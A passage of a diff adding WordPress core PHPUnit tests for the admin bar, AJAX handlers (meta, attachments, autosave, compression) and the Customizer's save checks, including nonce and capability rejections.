+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$node         = $wp_admin_bar->get_node( 'new-user' );
+
+		$this->assertNull( $node );
+	}
+
+	/**
+	 * @ticket 30937
+	 * @covers ::wp_admin_bar_customize_menu
+	 */
+	public function test_customize_link() {
+		global $wp_customize;
+		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+		$uuid = wp_generate_uuid4();
+		$this->go_to( home_url( "/?customize_changeset_uuid=$uuid" ) );
+		wp_set_current_user( self::$admin_id );
+
+		$this->factory()->post->create( array(
+			'post_type' => 'customize_changeset',
+			'post_status' => 'auto-draft',
+			'post_name' => $uuid,
+		) );
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+		) );
+		$wp_customize->start_previewing_theme();
+
+		set_current_screen( 'front' );
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$node = $wp_admin_bar->get_node( 'customize' );
+		$this->assertNotEmpty( $node );
+
+		$parsed_url = wp_parse_url( $node->href );
+		$query_params = array();
+		wp_parse_str( $parsed_url['query'], $query_params );
+		$this->assertEquals( $uuid, $query_params['changeset_uuid'] );
+		$this->assertNotContains( 'changeset_uuid', $query_params['url'] );
+	}
+
+	/**
+	 * @ticket 39082
+	 * @group ms-required
+	 */
+	public function test_my_sites_network_menu_for_regular_user() {
+		wp_set_current_user( self::$editor_id );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+
+		$nodes = $wp_admin_bar->get_nodes();
+		foreach ( $this->get_my_sites_network_menu_items() as $id => $cap ) {
+			$this->assertFalse( isset( $nodes[ $id ] ), sprintf( 'Menu item %s must not display for a regular user.', $id ) );
+		}
+	}
+
+	/**
+	 * @ticket 39082
+	 * @group ms-required
+	 */
+	public function test_my_sites_network_menu_for_super_admin() {
+		wp_set_current_user( self::$editor_id );
+
+		grant_super_admin( self::$editor_id );
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		revoke_super_admin( self::$editor_id );
+
+		$nodes = $wp_admin_bar->get_nodes();
+		foreach ( $this->get_my_sites_network_menu_items() as $id => $cap ) {
+			$this->assertTrue( isset( $nodes[ $id ] ), sprintf( 'Menu item %s must display for a super admin.', $id ) );
+		}
+	}
+
+	/**
+	 * @ticket 39082
+	 * @group ms-required
+	 */
+	public function test_my_sites_network_menu_for_regular_user_with_network_caps() {
+		global $current_user;
+
+		$network_user_caps = array( 'manage_network', 'manage_network_themes', 'manage_network_plugins' );
+
+		wp_set_current_user( self::$editor_id );
+
+		foreach ( $network_user_caps as $network_cap ) {
+			$current_user->add_cap( $network_cap );
+		}
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		foreach ( $network_user_caps as $network_cap ) {
+			$current_user->remove_cap( $network_cap );
+		}
+
+		$nodes = $wp_admin_bar->get_nodes();
+		foreach ( $this->get_my_sites_network_menu_items() as $id => $cap ) {
+			if ( in_array( $cap, $network_user_caps ) ) {
+				$this->assertTrue( isset( $nodes[ $id ] ), sprintf( 'Menu item %1$s must display for a user with the %2$s cap.', $id, $cap ) );
+			} else {
+				$this->assertFalse( isset( $nodes[ $id ] ), sprintf( 'Menu item %1$s must not display for a user without the %2$s cap.', $id, $cap ) );
+			}
+		}
+	}
+
+	private function get_my_sites_network_menu_items() {
+		return array(
+			'my-sites-super-admin' => 'manage_network',
+			'network-admin'        => 'manage_network',
+			'network-admin-d'      => 'manage_network',
+			'network-admin-s'      => 'manage_sites',
+			'network-admin-u'      => 'manage_network_users',
+			'network-admin-t'      => 'manage_network_themes',
+			'network-admin-p'      => 'manage_network_plugins',
+			'network-admin-o'      => 'manage_network_options',
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/AddMeta.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/AddMeta.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/AddMeta.php	(revision 56912)
@@ -0,0 +1,71 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing Add Meta AJAX functionality.
+ *
+ * @group ajax
+ */
+class Tests_Ajax_AddMeta extends WP_Ajax_UnitTestCase {
+	/**
+	 * @ticket 43559
+	 */
+	public function test_post_add_meta_empty_is_allowed_ajax() {
+		$p = self::factory()->post->create();
+
+		// Become an administrator.
+		$this->_setRole( 'administrator' );
+
+		$_POST = array(
+			'post_id'      => $p,
+			'metakeyinput' => 'testkey',
+			'metavalue'    => '',
+			'_ajax_nonce-add-meta' => wp_create_nonce( 'add-meta' ),
+		);
+
+		// Make the request.
+		try {
+			$this->_handleAjax( 'add-meta' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		$this->assertEquals( '', get_post_meta( $p, 'testkey', true ) );
+	}
+
+	/**
+	 * @ticket 43559
+	 */
+	public function test_post_update_meta_empty_is_allowed_ajax() {
+		$p = self::factory()->post->create();
+
+		$m = add_post_meta( $p, 'testkey', 'hello' );
+
+		// Become an administrator.
+		$this->_setRole( 'administrator' );
+
+		$_POST = array(
+			'_ajax_nonce-add-meta' => wp_create_nonce( 'add-meta' ),
+			'post_id' => $p,
+			'meta' => array(
+				$m => array(
+					'key'   => 'testkey',
+					'value' => '',
+				),
+			),
+		);
+
+		// Make the request.
+		try {
+			$this->_handleAjax( 'add-meta' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		$this->assertEquals( '', get_post_meta( $p, 'testkey', true ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/Attachments.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/Attachments.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/Attachments.php	(revision 56912)
@@ -0,0 +1,203 @@
+<?php
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax attachment handling.
+ *
+ * @group ajax
+ */
+class Tests_Ajax_Attachments extends WP_Ajax_UnitTestCase {
+	/**
+	 * @ticket 36578
+	 */
+	public function test_wp_ajax_send_attachment_to_editor_should_return_an_image() {
+		// Become an administrator
+		$post = $_POST;
+		$user_id = self::factory()->user->create( array(
+			'role' => 'administrator',
+			'user_login' => 'user_36578_administrator',
+			'user_email' => 'user_36578_administrator@example.com',
+		) );
+		wp_set_current_user( $user_id );
+		$_POST = array_merge($_POST, $post);
+
+		$filename = DIR_TESTDATA . '/images/canola.jpg';
+		$contents = file_get_contents( $filename );
+
+		$upload     = wp_upload_bits( basename( $filename ), null, $contents );
+		$attachment = $this->_make_attachment( $upload );
+
+		// Set up a default request
+		$_POST['nonce']      = wp_create_nonce( 'media-send-to-editor' );
+		$_POST['html']       = 'Bar Baz';
+		$_POST['post_id']    = 0;
+		$_POST['attachment'] = array(
+			'id'         => $attachment,
+			'align'      => 'left',
+			'image-size' => 'large',
+			'image_alt'  => 'Foo bar',
+			'url'        => 'http://example.com/',
+		);
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'send-attachment-to-editor' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = get_image_send_to_editor( $attachment, '', '', 'left', 'http://example.com/', false, 'large', 'Foo bar' );
+
+		// Ensure everything is correct
+		$this->assertTrue( $response['success'] );
+		$this->assertEquals( $expected, $response['data'] );
+	}
+
+	/**
+	 * @ticket 36578
+	 */
+	public function test_wp_ajax_send_attachment_to_editor_should_return_a_link() {
+		// Become an administrator
+		$post = $_POST;
+		$user_id = self::factory()->user->create( array(
+			'role' => 'administrator',
+			'user_login' => 'user_36578_administrator',
+			'user_email' => 'user_36578_administrator@example.com',
+		) );
+		wp_set_current_user( $user_id );
+		$_POST = array_merge($_POST, $post);
+
+		$filename = DIR_TESTDATA . '/formatting/entities.txt';
+		$contents = file_get_contents( $filename );
+
+		$upload     = wp_upload_bits( basename( $filename ), null, $contents );
+		$attachment = $this->_make_attachment( $upload );
+
+		// Set up a default request
+		$_POST['nonce']      = wp_create_nonce( 'media-send-to-editor' );
+		$_POST['html']       = 'Bar Baz';
+		$_POST['post_id']    = 0;
+		$_POST['attachment'] = array(
+			'id'         => $attachment,
+			'post_title' => 'Foo bar',
+			'url'        => get_attachment_link( $attachment ),
+		);
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'send-attachment-to-editor' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = sprintf(
+			'<a href="%s" rel="attachment wp-att-%d">Foo bar</a>',
+			get_attachment_link( $attachment ),
+			$attachment
+		);
+
+		// Ensure everything is correct
+		$this->assertTrue( $response['success'] );
+		$this->assertEquals( $expected, $response['data'] );
+	}
+
+	public function test_wp_ajax_set_attachment_thumbnail_success() {
+		// Become an administrator.
+		$post    = $_POST;
+		$user_id = self::factory()->user->create(
+			array(
+				'role'       => 'administrator',
+				'user_login' => 'user_36578_administrator',
+				'user_email' => 'user_36578_administrator@example.com',
+			)
+		);
+		wp_set_current_user( $user_id );
+		$_POST = array_merge( $_POST, $post );
+
+		// Upload the attachment itself.
+		$filename = DIR_TESTDATA . '/uploads/small-audio.mp3';
+		$contents = file_get_contents( $filename );
+
+		$upload     = wp_upload_bits( wp_basename( $filename ), null, $contents );
+		$attachment = $this->_make_attachment( $upload );
+
+		// Upload the thumbnail.
+		$filename = DIR_TESTDATA . '/images/waffles.jpg';
+		$contents = file_get_contents( $filename );
+
+		$upload    = wp_upload_bits( wp_basename( $filename ), null, $contents );
+		$thumbnail = $this->_make_attachment( $upload );
+
+		// Set up a default request.
+		$_POST['_ajax_nonce']  = wp_create_nonce( 'set-attachment-thumbnail' );
+		$_POST['thumbnail_id'] = $thumbnail;
+		$_POST['urls']         = array( wp_get_attachment_url( $attachment ) );
+
+		// Make the request.
+		try {
+			$this->_handleAjax( 'set-attachment-thumbnail' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		// Ensure everything is correct.
+		$this->assertTrue( $response['success'] );
+	}
+
+	public function test_wp_ajax_set_attachment_thumbnail_missing_nonce() {
+		// Become an administrator.
+		$post    = $_POST;
+		$user_id = self::factory()->user->create(
+			array(
+				'role'       => 'administrator',
+				'user_login' => 'user_36578_administrator',
+				'user_email' => 'user_36578_administrator@example.com',
+			)
+		);
+		wp_set_current_user( $user_id );
+		$_POST = array_merge( $_POST, $post );
+
+		// Upload the attachment itself.
+		$filename = DIR_TESTDATA . '/uploads/small-audio.mp3';
+		$contents = file_get_contents( $filename );
+
+		$upload     = wp_upload_bits( wp_basename( $filename ), null, $contents );
+		$attachment = $this->_make_attachment( $upload );
+
+		// Upload the thumbnail.
+		$filename = DIR_TESTDATA . '/images/waffles.jpg';
+		$contents = file_get_contents( $filename );
+
+		$upload    = wp_upload_bits( wp_basename( $filename ), null, $contents );
+		$thumbnail = $this->_make_attachment( $upload );
+
+		// Set up a default request.
+		$_POST['thumbnail_id'] = $thumbnail;
+		$_POST['urls']         = array( wp_get_attachment_url( $attachment ) );
+
+		// Make the request.
+		try {
+			$this->_handleAjax( 'set-attachment-thumbnail' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		// Check that success is false without sending nonce.
+		$this->assertFalse( $response['success'] );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/Autosave.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/Autosave.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/Autosave.php	(revision 56912)
@@ -0,0 +1,173 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax save draft functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_Autosave extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * Post
+	 * @var mixed
+	 */
+	protected $_post = null;
+
+	protected static $admin_id = 0;
+	protected static $editor_id = 0;
+	protected static $post;
+	protected static $post_id;
+	protected static $user_ids = array();
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$user_ids[] = self::$admin_id = $factory->user->create( array( 'role' => 'administrator' ) );
+		self::$user_ids[] = self::$editor_id = $factory->user->create( array( 'role' => 'editor' ) );
+
+		self::$post_id = $factory->post->create( array( 'post_status' => 'draft' ) );
+		self::$post = get_post( self::$post_id );
+	}
+
+	/**
+	 * Set up the test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+		// Set a user so the $post has 'post_author'
+		wp_set_current_user( self::$admin_id );
+	}
+
+	/**
+	 * Test autosaving a post
+	 * @return void
+	 */
+	public function test_autosave_post() {
+		// The original post_author
+		wp_set_current_user( self::$admin_id );
+
+		// Set up the $_POST request
+		$md5 = md5( uniqid() );
+		$_POST = array(
+			'action' =>	'heartbeat',
+			'_nonce' => wp_create_nonce( 'heartbeat-nonce' ),
+			'data' => array(
+				'wp_autosave' => array(
+				    'post_id'       => self::$post_id,
+				    '_wpnonce'      => wp_create_nonce( 'update-post_' . self::$post->ID ),
+				    'post_content'  => self::$post->post_content . PHP_EOL . $md5,
+					'post_type'     => 'post',
+				),
+			),
+		);
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'heartbeat' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response, it is in heartbeat's response
+		$response = json_decode( $this->_last_response, true );
+
+		// Ensure everything is correct
+		$this->assertNotEmpty( $response['wp_autosave'] );
+		$this->assertTrue( $response['wp_autosave']['success'] );
+
+		// Check that the edit happened
+		$post = get_post( self::$post_id );
+		$this->assertGreaterThanOrEqual( 0, strpos( self::$post->post_content, $md5 ) );
+	}
+
+	/**
+	 * Test autosaving a locked post
+	 * @return void
+	 */
+	public function test_autosave_locked_post() {
+		// Lock the post to another user
+		wp_set_current_user( self::$editor_id );
+		wp_set_post_lock( self::$post_id );
+
+		wp_set_current_user( self::$admin_id );
+
+		// Ensure post is locked
+		$this->assertEquals( self::$editor_id, wp_check_post_lock( self::$post_id ) );
+
+		// Set up the $_POST request
+		$md5 = md5( uniqid() );
+		$_POST = array(
+			'action' =>	'heartbeat',
+			'_nonce' => wp_create_nonce( 'heartbeat-nonce' ),
+			'data' => array(
+				'wp_autosave' => array(
+				    'post_id'       => self::$post_id,
+				    '_wpnonce'      => wp_create_nonce( 'update-post_' . self::$post_id ),
+				    'post_content'  => self::$post->post_content . PHP_EOL . $md5,
+					'post_type'     => 'post',
+				),
+			),
+		);
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'heartbeat' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		$response = json_decode( $this->_last_response, true );
+
+		// Ensure everything is correct
+		$this->assertNotEmpty( $response['wp_autosave'] );
+		$this->assertTrue( $response['wp_autosave']['success'] );
+
+		// Check that the original post was NOT edited
+		$post = get_post( self::$post_id );
+		$this->assertFalse( strpos( $post->post_content, $md5 ) );
+
+		// Check if the autosave post was created
+		$autosave = wp_get_post_autosave( self::$post_id, get_current_user_id() );
+		$this->assertNotEmpty( $autosave );
+		$this->assertGreaterThanOrEqual( 0, strpos( $autosave->post_content, $md5 ) );
+	}
+
+	/**
+	 * Test with an invalid nonce
+	 * @return void
+	 */
+	public function test_with_invalid_nonce( ) {
+
+		wp_set_current_user( self::$admin_id );
+
+		// Set up the $_POST request
+		$_POST = array(
+			'action' =>	'heartbeat',
+			'_nonce' => wp_create_nonce( 'heartbeat-nonce' ),
+			'data' => array(
+				'wp_autosave' => array(
+				    'post_id'  => self::$post_id,
+				    '_wpnonce' => substr( md5( uniqid() ), 0, 10 ),
+				),
+			),
+		);
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'heartbeat' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		$response = json_decode( $this->_last_response, true );
+
+		$this->assertNotEmpty( $response['wp_autosave'] );
+		$this->assertFalse( $response['wp_autosave']['success'] );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/Compression.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/Compression.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/Compression.php	(revision 56912)
@@ -0,0 +1,223 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax compression test functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_CompressionTest extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * Test as a logged out user
+	 */
+	public function test_logged_out() {
+		$this->logout();
+
+		// Set up a default request
+		$_GET['test'] = 1;
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'wp-compression-test' );
+	}
+
+	/**
+	 * Fetch the test text
+	 */
+	public function test_text() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 1;
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Ensure we found the right match
+		$this->assertContains( 'wpCompressionTest', $this->_last_response );
+	}
+
+	/**
+	 * Fetch the test text (gzdeflate)
+	 */
+	public function test_gzdeflate() {
+
+		if ( !function_exists( 'gzdeflate' ) ) {
+			$this->fail( 'gzdeflate function not available' );
+		}
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 2;
+		$_SERVER['HTTP_ACCEPT_ENCODING'] = 'deflate';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Ensure we found the right match
+		$this->assertContains( 'wpCompressionTest', gzinflate( $this->_last_response ) );
+	}
+
+	/**
+	 * Fetch the test text (gzencode)
+	 */
+	public function test_gzencode() {
+
+		if ( !function_exists('gzencode') ) {
+			$this->fail( 'gzencode function not available' );
+		}
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 2;
+		$_SERVER['HTTP_ACCEPT_ENCODING'] = 'gzip';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Ensure we found the right match
+		$this->assertContains( 'wpCompressionTest', $this->_gzdecode( $this->_last_response ) );
+	}
+
+	/**
+	 * Fetch the test text (unknown encoding)
+	 */
+	public function test_unknown_encoding() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 2;
+		$_SERVER['HTTP_ACCEPT_ENCODING'] = 'unknown';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'wp-compression-test' );
+	}
+
+	/**
+	 * Set the 'can_compress_scripts' site option to true
+	 */
+	public function test_set_yes() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 'yes';
+
+		// Set the option to false
+		update_site_option( 'can_compress_scripts', 0 );
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieStopException $e ) {
+			unset( $e );
+		}
+
+		// Check the site option is not changed due to lack of nonce
+		$this->assertEquals( 0, get_site_option( 'can_compress_scripts' ) );
+
+		// Add a nonce
+		$_GET['_ajax_nonce'] = wp_create_nonce( 'update_can_compress_scripts' );
+
+		// Retry the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieStopException $e ) {
+			unset( $e );
+		}
+
+		// Check the site option is changed
+		$this->assertEquals( 1, get_site_option( 'can_compress_scripts' ) );
+	}
+
+	/**
+	 * Set the 'can_compress_scripts' site option to false
+	 */
+	public function test_set_no() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['test'] = 'no';
+
+		// Set the option to true
+		update_site_option( 'can_compress_scripts', 1 );
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieStopException $e ) {
+			unset( $e );
+		}
+
+		// Check the site option is not changed due to lack of nonce
+		$this->assertEquals( 1, get_site_option( 'can_compress_scripts' ) );
+
+		// Add a nonce
+		$_GET['_ajax_nonce'] = wp_create_nonce( 'update_can_compress_scripts' );
+
+		// Retry the request
+		try {
+			$this->_handleAjax( 'wp-compression-test' );
+		} catch ( WPAjaxDieStopException $e ) {
+			unset( $e );
+		}
+
+		// Check the site option is changed
+		$this->assertEquals( 0, get_site_option( 'can_compress_scripts' ) );
+	}
+
+	/**
+	 * Undo gzencode.  This is ugly, but there's no stock gzdecode() function.
+	 * @param string $encoded_data
+	 * @return string
+	 */
+	protected function _gzdecode( $encoded_data ) {
+
+		// Save the encoded data to a temp file
+		$file = wp_tempnam( 'gzdecode' );
+		file_put_contents( $file, $encoded_data );
+
+		// Flush it to the output buffer and delete the temp file
+		ob_start();
+		readgzfile( $file );
+		unlink( $file );
+
+		// Save the data stop buffering
+		$data = ob_get_clean();
+
+		// Done
+		return $data;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/CustomizeManager.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/CustomizeManager.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/CustomizeManager.php	(revision 56912)
@@ -0,0 +1,645 @@
+<?php
+/**
+ * Testing ajax customize manager functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      4.3.0
+ * @group      ajax
+ */
+class Tests_Ajax_CustomizeManager extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * Instance of WP_Customize_Manager which is reset for each test.
+	 *
+	 * @var WP_Customize_Manager
+	 */
+	public $wp_customize;
+
+	/**
+	 * Admin user ID.
+	 *
+	 * @var int
+	 */
+	protected static $admin_user_id;
+
+	/**
+	 * Subscriber user ID.
+	 *
+	 * @var int
+	 */
+	protected static $subscriber_user_id;
+
+	/**
+	 * Last response parsed.
+	 *
+	 * @var array|null
+	 */
+	protected $_last_response_parsed;
+
+	/**
+	 * Set up before class.
+	 *
+	 * @param WP_UnitTest_Factory $factory Factory.
+	 */
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$subscriber_user_id = $factory->user->create( array( 'role' => 'subscriber' ) );
+		self::$admin_user_id = $factory->user->create( array( 'role' => 'administrator' ) );
+	}
+
+	/**
+	 * Set up the test fixture.
+	 */
+	public function setUp() {
+		parent::setUp();
+		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+	}
+
+	/**
+	 * Tear down.
+	 */
+	public function tearDown() {
+		parent::tearDown();
+		$_REQUEST = array();
+	}
+
+	/**
+	 * Helper to keep it DRY
+	 *
+	 * @param string $action Action.
+	 */
+	protected function make_ajax_call( $action ) {
+		$this->_last_response_parsed = null;
+		$this->_last_response = '';
+		try {
+			$this->_handleAjax( $action );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+		if ( $this->_last_response ) {
+			$this->_last_response_parsed = json_decode( $this->_last_response, true );
+		}
+	}
+
+	/**
+	 * Overridden caps for user_has_cap.
+	 *
+	 * @var array
+	 */
+	protected $overridden_caps = array();
+
+	/**
+	 * Dynamically filter a user's capabilities.
+	 *
+	 * @param array $allcaps An array of all the user's capabilities.
+	 * @return array All caps.
+	 */
+	function filter_user_has_cap( $allcaps ) {
+		$allcaps = array_merge( $allcaps, $this->overridden_caps );
+		return $allcaps;
+	}
+
+	/**
+	 * Test WP_Customize_Manager::save().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::save()
+	 */
+	function test_save_failures() {
+		global $wp_customize;
+		$wp_customize = new WP_Customize_Manager();
+		$wp_customize->register_controls();
+		add_filter( 'user_has_cap', array( $this, 'filter_user_has_cap' ) );
+
+		// Unauthenticated.
+		wp_set_current_user( 0 );
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'unauthenticated', $this->_last_response_parsed['data'] );
+
+		// Unauthorized.
+		wp_set_current_user( self::$subscriber_user_id );
+		$nonce = wp_create_nonce( 'save-customize_' . $wp_customize->get_stylesheet() );
+		$_POST['nonce'] = $_GET['nonce'] = $_REQUEST['nonce'] = $nonce;
+		$exception = null;
+		try {
+			ob_start();
+			$wp_customize->setup_theme();
+		} catch ( WPAjaxDieContinueException $e ) {
+			$exception = $e;
+		}
+		$this->assertNotEmpty( $e );
+		$this->assertEquals( -1, $e->getMessage() );
+
+		// Not called setup_theme.
+		wp_set_current_user( self::$admin_user_id );
+		$nonce = wp_create_nonce( 'save-customize_' . $wp_customize->get_stylesheet() );
+		$_POST['nonce'] = $_GET['nonce'] = $_REQUEST['nonce'] = $nonce;
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'not_preview', $this->_last_response_parsed['data'] );
+
+		// Bad nonce.
+		$_POST['nonce'] = $_GET['nonce'] = $_REQUEST['nonce'] = 'bad';
+		$wp_customize->setup_theme();
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'invalid_nonce', $this->_last_response_parsed['data'] );
+
+		// User cannot create.
+		$nonce = wp_create_nonce( 'save-customize_' . $wp_customize->get_stylesheet() );
+		$_POST['nonce'] = $_GET['nonce'] = $_REQUEST['nonce'] = $nonce;
+		$post_type_obj = get_post_type_object( 'customize_changeset' );
+		$post_type_obj->cap->create_posts = 'create_customize_changesets';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'cannot_create_changeset_post', $this->_last_response_parsed['data'] );
+		$this->overridden_caps[ $post_type_obj->cap->create_posts ] = true;
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$post_type_obj->cap->create_posts = 'customize'; // Restore.
+
+		// Changeset already published.
+		$wp_customize->set_post_value( 'blogname', 'Hello' );
+		$wp_customize->save_changeset_post( array( 'status' => 'publish' ) );
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'changeset_already_published', $this->_last_response_parsed['data']['code'] );
+		wp_update_post( array(
+			'ID' => $wp_customize->changeset_post_id(),
+			'post_status' => 'auto-draft',
+		) );
+
+		// User cannot edit.
+		$post_type_obj = get_post_type_object( 'customize_changeset' );
+		$post_type_obj->cap->edit_post = 'edit_customize_changesets';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'cannot_edit_changeset_post', $this->_last_response_parsed['data'] );
+		$this->overridden_caps[ $post_type_obj->cap->edit_post ] = true;
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$post_type_obj->cap->edit_post = 'customize'; // Restore.
+
+		// Bad customize_changeset_data.
+		$_POST['customize_changeset_data'] = '[MALFORMED]';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'invalid_customize_changeset_data', $this->_last_response_parsed['data'] );
+
+		// Bad customize_changeset_status.
+		$_POST['customize_changeset_data'] = '{}';
+		$_POST['customize_changeset_status'] = 'unrecognized';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'bad_customize_changeset_status', $this->_last_response_parsed['data'] );
+
+		// Disallowed publish posts if not allowed.
+		$post_type_obj = get_post_type_object( 'customize_changeset' );
+		$post_type_obj->cap->publish_posts = 'publish_customize_changesets';
+		$_POST['customize_changeset_status'] = 'publish';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'changeset_publish_unauthorized', $this->_last_response_parsed['data'] );
+		$_POST['customize_changeset_status'] = 'future';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'changeset_publish_unauthorized', $this->_last_response_parsed['data'] );
+		$post_type_obj->cap->publish_posts = 'customize'; // Restore.
+
+		// Validate date.
+		$_POST['customize_changeset_status'] = 'draft';
+		$_POST['customize_changeset_date'] = 'BAD DATE';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'bad_customize_changeset_date', $this->_last_response_parsed['data'] );
+		$_POST['customize_changeset_date'] = '2010-01-01 00:00:00';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertFalse( $this->_last_response_parsed['success'] );
+		$this->assertEquals( 'not_future_date', $this->_last_response_parsed['data']['code'] );
+		$_POST['customize_changeset_date'] = ( gmdate( 'Y' ) + 1 ) . '-01-01 00:00:00';
+		$this->make_ajax_call( 'customize_save' );
+		$this->assertTrue( $this->_last_response_parsed['success'] );
+		$_POST['customize_changeset_status'] = 'future';
